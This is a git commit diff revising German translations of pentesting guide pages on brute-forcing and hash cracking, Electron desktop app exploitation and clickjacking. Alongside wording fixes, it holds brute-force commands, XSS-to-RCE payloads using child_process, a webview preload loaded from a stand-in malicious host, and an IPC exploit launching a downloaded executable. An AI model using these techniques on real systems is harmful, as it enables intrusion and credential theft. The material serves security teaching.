Translated ['src/generic-hacking/brute-force.md', 'src/network-services-

2025-10-10 18:36:50 +00:00 · 2025-03-09 14:22:10 +00:00 · 2025-03-09 14:22:10 +00:00 · 48c0459e36
commit 48c0459e36
parent 7d091128f3
5 changed files with 127 additions and 65 deletions
--- a/src/generic-hacking/brute-force.md
+++ b/src/generic-hacking/brute-force.md
@ -21,7 +21,7 @@

 ## **Erstellen Sie Ihre eigenen Wörterbücher**

-Sammeln Sie so viele Informationen über das Ziel wie möglich und erstellen Sie ein benutzerdefiniertes Wörterbuch. Tools, die helfen können:
+Sammeln Sie so viele Informationen über das Ziel, wie Sie können, und erstellen Sie ein benutzerdefiniertes Wörterbuch. Tools, die helfen können:

 ### Crunch
 ```bash
@ -34,9 +34,16 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
 ^ Special characters including spac
 crunch 6 8 -t ,@@^^%%
 ```
-### Cewl
+### Website-basierte Wortlisten
 ```bash
+# Cewl gets words from the victims page
 cewl example.com -m 5 -w words.txt
+
+# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs
+cat /path/to/urls.txt | tok
+
+# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs
+cat /path/to/js-urls.txt | python3 getjswords.py
 ```
 ### [CUPP](https://github.com/Mebus/cupp)

@ -275,7 +282,7 @@ Um **oracle_login** mit **patator** zu verwenden, müssen Sie **installieren**:
 ```bash
 pip3 install cx_Oracle --upgrade
 ```
-[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**Versionen 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** und **11.2.0.3**):
+[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**Versionen 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2** und **11.2.0.3**):
 ```bash
 nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
 ```
@ -395,11 +402,11 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
 ```
 #### Schwache SSH-Schlüssel / Vorhersehbarer PRNG in Debian

-Einige Systeme haben bekannte Schwächen im Zufallsseed, der zur Generierung kryptografischer Materialien verwendet wird. Dies kann zu einem dramatisch reduzierten Schlüsselraum führen, der mit Tools wie [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) bruteforced werden kann. Vorgefertigte Sets schwacher Schlüssel sind ebenfalls verfügbar, wie [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
+Einige Systeme weisen bekannte Mängel im Zufallsseed auf, der zur Generierung kryptografischer Materialien verwendet wird. Dies kann zu einem dramatisch reduzierten Schlüsselraum führen, der mit Tools wie [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) bruteforced werden kann. Vorgefertigte Sets schwacher Schlüssel sind ebenfalls verfügbar, wie [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).

 ### STOMP (ActiveMQ, RabbitMQ, HornetQ und OpenMQ)

-Das STOMP-Textprotokoll ist ein weit verbreitetes Messaging-Protokoll, das **nahtlose Kommunikation und Interaktion mit beliebten Nachrichtenwarteschlangen-Diensten** wie RabbitMQ, ActiveMQ, HornetQ und OpenMQ ermöglicht. Es bietet einen standardisierten und effizienten Ansatz zum Austausch von Nachrichten und zur Durchführung verschiedener Messaging-Operationen.
+Das STOMP-Textprotokoll ist ein weit verbreitetes Messaging-Protokoll, das **nahtlose Kommunikation und Interaktion mit beliebten Message-Queue-Diensten** wie RabbitMQ, ActiveMQ, HornetQ und OpenMQ ermöglicht. Es bietet einen standardisierten und effizienten Ansatz zum Austausch von Nachrichten und zur Durchführung verschiedener Messaging-Operationen.
 ```bash
 legba stomp --target localhost:61613 --username admin --password data/passwords.txt
 ```
@ -508,7 +515,7 @@ qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
 ```
 ### PDF-Besitzerpasswort

-Um ein PDF-Besitzerpasswort zu knacken, überprüfen Sie dies: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
+Um ein PDF-Besitzerpasswort zu knacken, siehe dies: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)

 ### JWT
 ```bash
@ -622,7 +629,7 @@ hash-identifier

 ### **Wortlist-Generierungswerkzeuge**

- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Fortgeschrittener Tastatur-Walk-Generator mit konfigurierbaren Basiszeichen, Tastenzuordnungen und Routen.
+- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Fortschrittlicher Tastatur-Walk-Generator mit konfigurierbaren Basiszeichen, Tastaturbelegung und Routen.
 ```bash
 kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
 ```
@ -645,7 +652,7 @@ hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
 ```
 - **Wordlist-Kombinator**-Angriff

-Es ist möglich, **2 Wortlisten zu 1 zu kombinieren** mit hashcat.\
+Es ist möglich, **2 Wortlisten zu 1** mit hashcat zu kombinieren.\
 Wenn Liste 1 das Wort **"hello"** enthielt und die zweite 2 Zeilen mit den Wörtern **"world"** und **"earth"** enthielt. Die Wörter `helloworld` und `helloearth` werden generiert.
 ```bash
 # This will combine 2 wordlists
@ -701,7 +708,7 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
 ```bash
 hashcat --example-hashes | grep -B1 -A2 "NTLM"
 ```
-Knacken von Linux-Hashes - /etc/shadow-Datei
+Cracking von Linux-Hashes - /etc/shadow-Datei
 ```
 500 | md5crypt $1$, MD5(Unix)                          | Operating-Systems
 3200 | bcrypt $2*$, Blowfish(Unix)                      | Operating-Systems
--- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
+++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
@ -32,12 +32,12 @@ let win = new BrowserWindow()
 //Open Renderer Process
 win.loadURL(`file://path/to/index.html`)
 ```
-Die Einstellungen des **Renderer-Prozesses** können im **Hauptprozess** in der Datei main.js **konfiguriert** werden. Einige der Konfigurationen werden **verhindern, dass die Electron-Anwendung RCE** oder andere Schwachstellen hat, wenn die **Einstellungen korrekt konfiguriert** sind.
+Die Einstellungen des **Renderer-Prozesses** können im **Hauptprozess** in der main.js-Datei **konfiguriert** werden. Einige der Konfigurationen werden **verhindern, dass die Electron-Anwendung RCE** oder andere Schwachstellen hat, wenn die **Einstellungen korrekt konfiguriert** sind.

 Die Electron-Anwendung **könnte auf das Gerät zugreifen** über Node-APIs, obwohl sie so konfiguriert werden kann, dass dies verhindert wird:

- **`nodeIntegration`** - ist standardmäßig `aus`. Wenn es aktiviert ist, ermöglicht es den Zugriff auf Node-Funktionen vom Renderer-Prozess.
- **`contextIsolation`** - ist standardmäßig `ein`. Wenn es deaktiviert ist, sind Haupt- und Renderer-Prozesse nicht isoliert.
+- **`nodeIntegration`** - ist standardmäßig `aus`. Wenn aktiviert, ermöglicht den Zugriff auf Node-Funktionen vom Renderer-Prozess.
+- **`contextIsolation`** - ist standardmäßig `ein`. Wenn deaktiviert, sind Haupt- und Renderer-Prozesse nicht isoliert.
 - **`preload`** - standardmäßig leer.
 - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - ist standardmäßig deaktiviert. Es wird die Aktionen einschränken, die NodeJS ausführen kann.
 - Node-Integration in Workern
@ -97,7 +97,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
 ```
 ### Verkehr erfassen

-Ändern Sie die start-main-Konfiguration und fügen Sie die Verwendung eines Proxys hinzu, wie zum Beispiel:
+Ändern Sie die start-main-Konfiguration und fügen Sie die Verwendung eines Proxys hinzu, wie:
 ```javascript
 "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
 ```
@ -111,7 +111,7 @@ Wenn Sie eine Electron-App lokal ausführen können, ist es möglich, dass Sie s

 ## RCE: XSS + nodeIntegration

-Wenn **nodeIntegration** auf **on** gesetzt ist, kann der JavaScript-Code einer Webseite die Node.js-Funktionen einfach durch Aufrufen von `require()` verwenden. Zum Beispiel ist der Weg, die Calc-Anwendung unter Windows auszuführen:
+Wenn **nodeIntegration** auf **on** gesetzt ist, kann der JavaScript-Code einer Webseite die Node.js-Funktionen einfach durch Aufrufen von `require()` nutzen. Zum Beispiel ist der Weg, die Calc-Anwendung unter Windows auszuführen:
 ```html
 <script>
 require("child_process").exec("calc")
@ -157,11 +157,11 @@ Das _**contextIsolation**_ führt die **getrennten Kontexte zwischen den Webseit
 Wenn die Kontexte nicht isoliert sind, kann ein Angreifer:

 1. **Willkürliches JavaScript im Renderer ausführen** (XSS oder Navigation zu externen Seiten)
-2. **Die eingebaute Methode überschreiben**, die in Preload oder internem Electron-Code verwendet wird, um eine eigene Funktion zu erstellen
+2. **Die eingebaute Methode überschreiben**, die im Preload oder im internen Code von Electron verwendet wird, um eine eigene Funktion zu erstellen
 3. **Die Verwendung der überschriebenen Funktion auslösen**
 4. RCE?

-Es gibt 2 Stellen, an denen eingebaute Methoden überschrieben werden können: Im Preload-Code oder im internen Electron-Code:
+Es gibt 2 Stellen, an denen eingebaute Methoden überschrieben werden können: Im Preload-Code oder im internen Code von Electron:

 {{#ref}}
 electron-contextisolation-rce-via-preload-code.md
@ -177,7 +177,7 @@ electron-contextisolation-rce-via-ipc.md

 ### Umgehung des Klickereignisses

-Wenn beim Klicken auf einen Link Einschränkungen gelten, könnten Sie in der Lage sein, diese zu umgehen, **indem Sie einen Mittelklick** anstelle eines regulären Linksklicks durchführen.
+Wenn beim Klicken auf einen Link Einschränkungen gelten, könnten Sie in der Lage sein, diese **durch einen Mittelklick** anstelle eines regulären Linksklicks zu umgehen.
 ```javascript
 window.addEventListener('click', (e) => {
 ```
@ -224,6 +224,27 @@ window.open(
 )
 </script>
 ```
+## RCE: webviewTag + verwundbarer preload IPC + shell.openExternal
+
+Diese Schwachstelle kann in **[diesem Bericht](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** gefunden werden.
+
+Das **webviewTag** ist ein **veraltetes Feature**, das die Verwendung von **NodeJS** im **Renderer-Prozess** ermöglicht, was deaktiviert werden sollte, da es das Laden eines Skripts im Preload-Kontext erlaubt, wie:
+```xml
+<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
+```
+Daher könnte ein Angreifer, der es schafft, eine beliebige Seite zu laden, dieses Tag verwenden, um **ein beliebiges Preload-Skript zu laden**.
+
+Dieses Preload-Skript wurde dann missbraucht, um einen **anfälligen IPC-Dienst (`skype-new-window`)** aufzurufen, der **`shell.openExternal`** aufrief, um RCE zu erhalten:
+```javascript
+(async() => {
+const { ipcRenderer } = require("electron");
+await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
+setTimeout(async () => {
+const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
+await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
+}, 5000);
+})();
+```
 ## Interne Dateien lesen: XSS + contextIsolation

 **Das Deaktivieren von `contextIsolation` ermöglicht die Verwendung von `<webview>`-Tags**, ähnlich wie `<iframe>`, zum Lesen und Exfiltrieren lokaler Dateien. Ein bereitgestelltes Beispiel zeigt, wie man diese Schwachstelle ausnutzt, um den Inhalt interner Dateien zu lesen:
@ -248,12 +269,12 @@ frames[0].document.body.innerText
 ```
 ## **RCE: XSS + Alte Chromium-Version**

-Wenn die **Chromium**-Version, die von der Anwendung verwendet wird, **alt** ist und es **bekannte** **Sicherheitsanfälligkeiten** gibt, könnte es möglich sein, sie zu **nutzen und RCE über ein XSS zu erlangen**.\
-Ein Beispiel finden Sie in diesem **Bericht**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
+Wenn die **chromium**, die von der Anwendung verwendet wird, **alt** ist und es **bekannte** **Sicherheitsanfälligkeiten** gibt, könnte es möglich sein, sie zu **nutzen und RCE über ein XSS zu erlangen**.\
+Siehe ein Beispiel in diesem **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)

-## **XSS-Phishing über internen URL-Regex-Umgehung**
+## **XSS-Phishing über internen URL-Regulärausdruck-Bypass**

-Angenommen, Sie haben ein XSS gefunden, aber Sie **können RCE nicht auslösen oder interne Dateien stehlen**, könnten Sie versuchen, es zu **nutzen, um Anmeldeinformationen über Phishing zu stehlen**.
+Angenommen, Sie haben ein XSS gefunden, aber Sie **können RCE nicht auslösen oder interne Dateien stehlen**, könnten Sie versuchen, es zu nutzen, um **Anmeldeinformationen über Phishing zu stehlen**.

 Zunächst müssen Sie wissen, was passiert, wenn Sie versuchen, eine neue URL zu öffnen, indem Sie den JS-Code im Front-End überprüfen:
 ```javascript
@ -262,23 +283,27 @@ webContents.on("will-navigate", function (event, url) {}                    // o
 ```
 Der Aufruf von **`openInternally`** entscheidet, ob der **Link** im **Desktop-Fenster** geöffnet wird, da es sich um einen Link handelt, der zur Plattform gehört, **oder** ob er im **Browser als Drittanbieter-Ressource** geöffnet wird.

-Falls der von der Funktion verwendete **Regex** **anfällig für Umgehungen** ist (zum Beispiel durch **das Nicht-Entkommen der Punkte von Subdomains**), könnte ein Angreifer das XSS ausnutzen, um **ein neues Fenster zu öffnen, das** sich in der Infrastruktur des Angreifers befindet und **den Benutzer nach Anmeldeinformationen** fragt:
+Falls der von der Funktion verwendete **Regex** **anfällig für Umgehungen** ist (zum Beispiel durch **das Nicht-Escapen der Punkte von Subdomains**), könnte ein Angreifer das XSS ausnutzen, um **ein neues Fenster zu öffnen, das** sich in der Infrastruktur des Angreifers befindet und **den Benutzer nach Anmeldeinformationen** fragt:
 ```html
 <script>
 window.open("<http://subdomainagoogleq.com/index.html>")
 </script>
 ```
+## `file://` Protokoll
+
+Wie in [den Docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) erwähnt, haben Seiten, die auf **`file://`** laufen, einseitigen Zugriff auf jede Datei auf Ihrem Computer, was bedeutet, dass **XSS-Probleme verwendet werden können, um beliebige Dateien** vom Computer des Benutzers zu laden. Die Verwendung eines **benutzerdefinierten Protokolls** verhindert solche Probleme, da Sie das Protokoll auf das Bereitstellen eines bestimmten Satzes von Dateien beschränken können.
+
 ## Remote-Modul

-Das Electron Remote-Modul ermöglicht es **Renderer-Prozessen, auf APIs des Hauptprozesses zuzugreifen**, was die Kommunikation innerhalb einer Electron-Anwendung erleichtert. Das Aktivieren dieses Moduls bringt jedoch erhebliche Sicherheitsrisiken mit sich. Es erweitert die Angriffsfläche der Anwendung und macht sie anfälliger für Schwachstellen wie Cross-Site-Scripting (XSS)-Angriffe.
+Das Electron Remote-Modul ermöglicht **Renderer-Prozessen den Zugriff auf APIs des Hauptprozesses**, was die Kommunikation innerhalb einer Electron-Anwendung erleichtert. Das Aktivieren dieses Moduls bringt jedoch erhebliche Sicherheitsrisiken mit sich. Es erweitert die Angriffsfläche der Anwendung und macht sie anfälliger für Schwachstellen wie Cross-Site-Scripting (XSS)-Angriffe.

 > [!TIP]
-> Obwohl das **remote**-Modul einige APIs vom Haupt- zu den Renderer-Prozessen exponiert, ist es nicht einfach, RCE nur durch den Missbrauch der Komponenten zu erhalten. Die Komponenten könnten jedoch sensible Informationen offenlegen.
+> Obwohl das **remote**-Modul einige APIs vom Haupt- zu Renderer-Prozessen exponiert, ist es nicht einfach, RCE nur durch den Missbrauch der Komponenten zu erhalten. Die Komponenten könnten jedoch sensible Informationen offenlegen.

 > [!WARNING]
-> Viele Apps, die das Remote-Modul weiterhin verwenden, tun dies auf eine Weise, die **NodeIntegration im Renderer-Prozess erfordert**, was ein **großes Sicherheitsrisiko** darstellt.
+> Viele Apps, die das Remote-Modul weiterhin verwenden, tun dies auf eine Weise, die **NodeIntegration im Renderer-Prozess aktiviert** erfordert, was ein **großes Sicherheitsrisiko** darstellt.

-Seit Electron 14 könnte das `remote`-Modul von Electron aus mehreren Gründen, die mit Sicherheit und Leistung zusammenhängen, **nicht verwendet werden**.
+Seit Electron 14 könnte das `remote`-Modul von Electron aus mehreren Gründen, die mit Sicherheit und Leistung zusammenhängen, aktiviert werden; es wird **empfohlen, es nicht zu verwenden**.

 Um es zu aktivieren, muss es zuerst **im Hauptprozess aktiviert werden**:
 ```javascript
@ -291,7 +316,7 @@ mainWindow = new BrowserWindow({
 })
 remoteMain.enable(mainWindow.webContents)
 ```
-Dann kann der Renderer-Prozess Objekte aus dem Modul importieren, das er mag:
+Dann kann der Renderer-Prozess Objekte aus dem Modul importieren, das er wie folgt:
 ```javascript
 import { dialog, getCurrentWindow } from '@electron/remote'
 ```
@ -302,15 +327,15 @@ Der **[Blogbeitrag](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.ht
 - **`app.setAppLogsPath([path])`**
 - **Definiert** oder **erstellt** ein Verzeichnis zum Speichern von **App-Protokollen**. Die Protokolle können mit **`app.getPath()`** oder **`app.setPath(pathName, newPath)`** **abgerufen** oder **modifiziert** werden.
 - **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Registriert** die aktuelle ausführbare Datei als **Standard-Handler** für ein bestimmtes **Protokoll**. Sie können bei Bedarf einen **benutzerdefinierten Pfad** und **Argumente** angeben.
+- **Registriert** die aktuelle ausführbare Datei als den **Standard-Handler** für ein bestimmtes **Protokoll**. Sie können bei Bedarf einen **benutzerdefinierten Pfad** und **Argumente** angeben.
 - **`app.setUserTasks(tasks)`**
- **Fügt** Aufgaben zur **Aufgabenkategorie** in der **Sprungliste** (unter Windows) hinzu. Jede Aufgabe kann steuern, wie die App **gestart** wird oder welche **Argumente** übergeben werden.
+- **Fügt** Aufgaben zur **Aufgabenkategorie** in der **Jump List** (unter Windows) hinzu. Jede Aufgabe kann steuern, wie die App **gestart** wird oder welche **Argumente** übergeben werden.
 - **`app.importCertificate(options, callback)`**
 - **Importiert** ein **PKCS#12-Zertifikat** in den **Zertifikatspeicher** des Systems (nur Linux). Ein **Callback** kann verwendet werden, um das Ergebnis zu verarbeiten.
 - **`app.moveToApplicationsFolder([options])`**
 - **Verschiebt** die Anwendung in den **Anwendungsordner** (unter macOS). Hilft, eine **Standardinstallation** für Mac-Benutzer sicherzustellen.
 - **`app.setJumpList(categories)`**
- **Setzt** oder **entfernt** eine **benutzerdefinierte Sprungliste** unter **Windows**. Sie können **Kategorien** angeben, um zu organisieren, wie Aufgaben dem Benutzer angezeigt werden.
+- **Setzt** oder **entfernt** eine **benutzerdefinierte Jump List** unter **Windows**. Sie können **Kategorien** angeben, um zu organisieren, wie Aufgaben dem Benutzer angezeigt werden.
 - **`app.setLoginItemSettings(settings)`**
 - **Konfiguriert**, welche **ausführbaren Dateien** beim **Login** zusammen mit ihren **Optionen** (nur macOS und Windows) gestartet werden.
 ```javascript
@ -337,16 +362,16 @@ console.log('Recent Places:', recentPlaces);
 ### **subscribeNotification / subscribeWorkspaceNotification**

 * **Hört** auf **native macOS-Benachrichtigungen** über NSDistributedNotificationCenter.
-* Vor **macOS Catalina** konnten Sie **alle** verteilten Benachrichtigungen abfangen, indem Sie **nil** an CFNotificationCenterAddObserver übergeben.
+* Vor **macOS Catalina** konnte man **alle** verteilten Benachrichtigungen abfangen, indem man **nil** an CFNotificationCenterAddObserver übergab.
 * Nach **Catalina / Big Sur** können sandboxed Apps weiterhin auf **viele Ereignisse** (zum Beispiel **Bildschirm sperren/entsperren**, **Volume-Mounts**, **Netzwerkaktivität** usw.) **abonnieren**, indem sie Benachrichtigungen **nach Namen** registrieren.

 ### **getUserDefault / setUserDefault**

-* **Schnittstelle** mit **NSUserDefaults**, die **Anwendungs-** oder **globale** Einstellungen auf macOS speichert.
+* **Interagiert** mit **NSUserDefaults**, das **Anwendungs-** oder **globale** Einstellungen auf macOS speichert.

 * **getUserDefault** kann **sensible Informationen** abrufen, wie **Standorte kürzlich verwendeter Dateien** oder **geografische Standorte des Benutzers**.

-* **setUserDefault** kann diese Einstellungen **ändern**, was möglicherweise die **Konfiguration** einer App beeinflusst.
+* **setUserDefault** kann diese Einstellungen **ändern**, was die **Konfiguration** einer App potenziell beeinflussen kann.

 * In **älteren Electron-Versionen** (vor v8.3.0) war nur die **Standard-Suite** von NSUserDefaults **zugänglich**.

@ -368,9 +393,10 @@ Für weitere Informationen siehe:
 pentesting-web/content-security-policy-csp-bypass/
 {{#endref}}

+
 ## **Tools**

- [**Electronegativity**](https://github.com/doyensec/electronegativity) ist ein Tool zur Identifizierung von Fehlkonfigurationen und Sicherheits-Anti-Patterns in Electron-basierten Anwendungen.
+- [**Electronegativity**](https://github.com/doyensec/electronegativity) ist ein Tool zur Identifizierung von Fehlkonfigurationen und Sicherheitsantipatterns in Electron-basierten Anwendungen.
 - [**Electrolint**](https://github.com/ksdmitrieva/electrolint) ist ein Open-Source-VS-Code-Plugin für Electron-Anwendungen, das Electronegativity verwendet.
 - [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) zur Überprüfung auf anfällige Drittanbieterbibliotheken
 - [**Electro.ng**](https://electro.ng/): Sie müssen es kaufen
--- a/src/pentesting-web/clickjacking.md
+++ b/src/pentesting-web/clickjacking.md
@ -4,15 +4,15 @@

 ## Was ist Clickjacking

-Bei einem Clickjacking-Angriff wird ein **Benutzer** **getäuscht**, indem er auf ein **Element** auf einer Webseite klickt, das entweder **unsichtbar** oder als ein anderes Element getarnt ist. Diese Manipulation kann zu unbeabsichtigten Konsequenzen für den Benutzer führen, wie z.B. dem Herunterladen von Malware, der Weiterleitung zu bösartigen Webseiten, der Bereitstellung von Anmeldedaten oder sensiblen Informationen, Geldtransfers oder dem Online-Kauf von Produkten.
+Bei einem Clickjacking-Angriff wird ein **Benutzer** **getäuscht**, sodass er auf ein **Element** auf einer Webseite klickt, das entweder **unsichtbar** oder als ein anderes Element getarnt ist. Diese Manipulation kann zu unbeabsichtigten Konsequenzen für den Benutzer führen, wie z.B. dem Herunterladen von Malware, der Weiterleitung zu bösartigen Webseiten, der Bereitstellung von Anmeldedaten oder sensiblen Informationen, Geldtransfers oder dem Online-Kauf von Produkten.

-### Vorbefüllung von Formularen
+### Vorab ausgefüllte Formulare

-Manchmal ist es möglich, den **Wert von Feldern eines Formulars mit GET-Parametern beim Laden einer Seite zu füllen**. Ein Angreifer kann dieses Verhalten ausnutzen, um ein Formular mit beliebigen Daten zu füllen und die Clickjacking-Nutzlast zu senden, damit der Benutzer die Schaltfläche "Absenden" drückt.
+Manchmal ist es möglich, die **Werte von Feldern eines Formulars mit GET-Parametern beim Laden einer Seite zu füllen**. Ein Angreifer kann dieses Verhalten ausnutzen, um ein Formular mit beliebigen Daten auszufüllen und die Clickjacking-Nutzlast zu senden, damit der Benutzer die Schaltfläche "Absenden" drückt.

 ### Formular mit Drag\&Drop ausfüllen

-Wenn Sie möchten, dass der Benutzer ein **Formular ausfüllt**, ihn jedoch nicht direkt bitten möchten, bestimmte Informationen (wie die E-Mail-Adresse oder ein spezifisches Passwort, das Sie kennen) einzugeben, können Sie ihn einfach bitten, etwas zu **Drag\&Drop**, das Ihre kontrollierten Daten eingibt, wie in [**diesem Beispiel**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
+Wenn Sie möchten, dass der Benutzer ein **Formular ausfüllt**, ihn jedoch nicht direkt bitten möchten, bestimmte Informationen (wie die E-Mail-Adresse oder ein spezifisches Passwort, das Sie kennen) einzugeben, können Sie ihn einfach bitten, etwas zu **Drag\&Drop** zu machen, das Ihre kontrollierten Daten eingibt, wie in [**diesem Beispiel**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).

 ### Grundlegende Nutzlast
 ```css
@ -96,12 +96,14 @@ Ein Angreifer könnte einen **Clickjacking**-Angriff auf diese Seite vorbereiten

 ### DoubleClickjacking

-Zunächst [in diesem Beitrag erklärt](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), würde diese Technik das Opfer auffordern, doppelt auf eine Schaltfläche einer benutzerdefinierten Seite zu klicken, die an einem bestimmten Ort platziert ist, und die Zeitunterschiede zwischen mousedown- und onclick-Ereignissen zu nutzen, um die Opferseite während des Doppelklicks zu laden, sodass der **Opfer tatsächlich auf eine legitime Schaltfläche auf der Opferseite klickt**.
+Zunächst [in diesem Beitrag erklärt](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), würde diese Technik das Opfer auffordern, doppelt auf eine Schaltfläche einer benutzerdefinierten Seite zu klicken, die an einem bestimmten Ort platziert ist, und die Zeitunterschiede zwischen den mousedown- und onclick-Ereignissen zu nutzen, um die Opferseite während des Doppelklicks zu laden, sodass der **Opfer tatsächlich auf eine legitime Schaltfläche auf der Opferseite klickt**.

 Ein Beispiel ist in diesem Video zu sehen: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)

+Ein Codebeispiel finden Sie auf [dieser Seite](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html).
+
 > [!WARNING]
-> Diese Technik ermöglicht es, den Benutzer zu täuschen, sodass er an 1 Stelle auf der Opferseite klickt und dabei jeden Schutz gegen Clickjacking umgeht. Der Angreifer muss also **sensible Aktionen finden, die mit nur 1 Klick durchgeführt werden können, wie OAuth-Aufforderungen zur Genehmigung von Berechtigungen**.
+> Diese Technik ermöglicht es, den Benutzer zu täuschen, damit er an 1 Stelle auf der Opferseite klickt und dabei jeden Schutz gegen Clickjacking umgeht. Der Angreifer muss **sensible Aktionen finden, die mit nur 1 Klick durchgeführt werden können, wie OAuth-Aufforderungen zur Annahme von Berechtigungen**.

 ## Strategien zur Minderung von Clickjacking

@ -109,7 +111,7 @@ Ein Beispiel ist in diesem Video zu sehen: [https://www.youtube.com/watch?v=4rGv

 Skripte, die auf der Client-Seite ausgeführt werden, können Maßnahmen ergreifen, um Clickjacking zu verhindern:

- Sicherstellen, dass das Anwendungsfenster das Haupt- oder Top-Fenster ist.
+- Sicherstellen, dass das Anwendungsfenster das Haupt- oder oberste Fenster ist.
 - Alle Frames sichtbar machen.
 - Klicks auf unsichtbare Frames verhindern.
 - Benutzer über potenzielle Clickjacking-Versuche informieren und warnen.
@ -117,7 +119,7 @@ Skripte, die auf der Client-Seite ausgeführt werden, können Maßnahmen ergreif
 Diese Frame-Busting-Skripte können jedoch umgangen werden:

 - **Sicherheitseinstellungen der Browser:** Einige Browser könnten diese Skripte basierend auf ihren Sicherheitseinstellungen oder mangelnder JavaScript-Unterstützung blockieren.
- **HTML5 iframe `sandbox` Attribut:** Ein Angreifer kann Frame-Buster-Skripte neutralisieren, indem er das `sandbox`-Attribut mit `allow-forms` oder `allow-scripts` Werten ohne `allow-top-navigation` festlegt. Dies verhindert, dass das iframe überprüft, ob es das Top-Fenster ist, z.B.,
+- **HTML5 iframe `sandbox` Attribut:** Ein Angreifer kann Frame-Buster-Skripte neutralisieren, indem er das `sandbox`-Attribut mit den Werten `allow-forms` oder `allow-scripts` ohne `allow-top-navigation` festlegt. Dies verhindert, dass das iframe überprüft, ob es das oberste Fenster ist, z.B.,
 ```html
 <iframe
 id="victim_website"
@ -166,7 +168,7 @@ Diese Richtlinie erlaubt Frames von derselben Herkunft (self) und https://truste

 #### `child-src` Direktive

- Wurde in CSP Level 2 eingeführt, um gültige Quellen für Web-Worker und Frames festzulegen.
+- Eingeführt in CSP Level 2, um gültige Quellen für Web-Worker und Frames festzulegen.
 - Dient als Fallback für frame-src und worker-src.
 ```
 Content-Security-Policy: child-src 'self' https://trusted-website.com;
@ -177,7 +179,7 @@ Diese Richtlinie erlaubt Frames und Worker von derselben Herkunft (self) und htt

 - Abwertung: child-src wird zugunsten von frame-src und worker-src schrittweise eingestellt.
 - Fallback-Verhalten: Wenn frame-src fehlt, wird child-src als Fallback für Frames verwendet. Wenn beide fehlen, wird default-src verwendet.
- Strikte Quelldefinition: Nur vertrauenswürdige Quellen in den Direktiven einfügen, um Ausnutzung zu verhindern.
+- Strikte Quelldefinition: Nur vertrauenswürdige Quellen in den Direktiven einbeziehen, um Ausnutzung zu verhindern.

 #### JavaScript Frame-Breaking Scripts

@ -187,7 +189,7 @@ if (top !== self) {
 top.location = self.location
 }
 ```
-#### Verwendung von Anti-CSRF-Token
+#### Einsatz von Anti-CSRF-Token

 - **Token-Validierung:** Verwenden Sie Anti-CSRF-Token in Webanwendungen, um sicherzustellen, dass zustandsverändernde Anfragen absichtlich vom Benutzer und nicht über eine Clickjacked-Seite vorgenommen werden.

--- a/src/pentesting-web/unicode-injection/unicode-normalization.md
+++ b/src/pentesting-web/unicode-injection/unicode-normalization.md
@ -23,27 +23,27 @@ Das Verständnis der Unicode-Codierung ist entscheidend, insbesondere im Umgang
 - **Datenverarbeitung**: Systeme, die Daten verarbeiten, müssen sich der verwendeten Codierung bewusst sein, um den Byte-Stream korrekt in Zeichen umzuwandeln.
